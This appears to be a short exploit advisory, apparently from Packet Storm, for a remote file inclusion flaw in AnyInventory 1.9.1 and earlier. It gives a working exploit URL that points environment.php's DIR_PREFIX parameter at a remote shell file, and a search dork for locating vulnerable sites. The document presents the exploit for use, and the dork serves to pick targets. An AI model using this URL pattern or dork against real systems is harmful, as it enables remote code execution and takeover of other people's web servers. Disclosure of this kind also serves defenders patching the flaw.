AnyInventory versions 1.9.1 and below suffer from a remote file inclusion vulnerability in environment.php.
0c07777e800557aa3c1962862bf10c201bbb2ce45ebfa4b873750badfe523342#AnyInventory => 1.9.1 Remote file inclusion
#Download script : http://physics.ramapo.edu/downloads/anyInventory-1.9.1.tar.gz
#Exploit :
#http://victime.com/[anyInventory_path]/environment.php?DIR_PREFIX= shell.txt?
#Dork : anyInventory, the most flexible and powerful web-based inventory system
#Discovered by ThE TiGeR
#Miro_Tiger100[at]Hotmail.com
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed